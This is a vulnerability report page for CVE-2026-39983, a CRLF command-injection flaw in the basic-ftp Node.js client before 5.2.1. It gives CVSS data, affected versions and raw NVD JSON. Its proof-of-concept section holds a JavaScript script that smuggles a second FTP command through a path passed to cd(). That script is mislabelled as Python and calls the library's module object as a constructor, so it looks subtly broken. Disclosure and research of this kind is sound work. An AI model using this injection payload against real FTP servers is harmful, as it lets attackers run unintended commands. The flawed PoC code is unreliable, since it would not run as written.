Security Vulnerability Report
中文
CVE-2026-39983 CVSS 8.6 HIGH

CVE-2026-39983

Published: 2026-04-09 18:17:03
Last Modified: 2026-04-14 20:07:52

Description

basic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:patrickjuchli:basic-ftp:*:*:*:*:*:node.js:*:* - VULNERABLE
basic-ftp < 5.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const FtpClient = require('basic-ftp'); // Example PoC for CVE-2026-39983 async function demonstrateCve() { const client = new FtpClient(); try { // Connect to a vulnerable FTP server instance (or mock) await client.access({ host: "127.0.0.1", user: "anonymous", password: "guest" }); // Malicious payload containing CRLF injection // This attempts to inject a LIST command after a CWD command const maliciousPath = "/valid/path\r\nLIST /\r\n"; console.log("Sending malicious path..."); // The vulnerable API constructs: CWD /valid/path\r\nLIST /\r\n // The FTP server receives: // 1. CWD /valid/path // 2. LIST / await client.cd(maliciousPath); } catch (err) { console.error("Exploit failed or connection error:", err); } finally { client.close(); } } demonstrateCve();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39983", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:02.503", "lastModified": "2026-04-14T20:07:51.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "basic-ftp is an FTP client for Node.js. Prior to 5.2.1, basic-ftp allows FTP command injection via CRLF sequences (\\r\\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \\r\\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands. This vulnerability is fixed in 5.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:patrickjuchli:basic-ftp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.2.1", "matchCriteriaId": "C779DF66-693E-4EB3-B33E-AC0A43741872"}]}]}], "references": [{"url": "https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}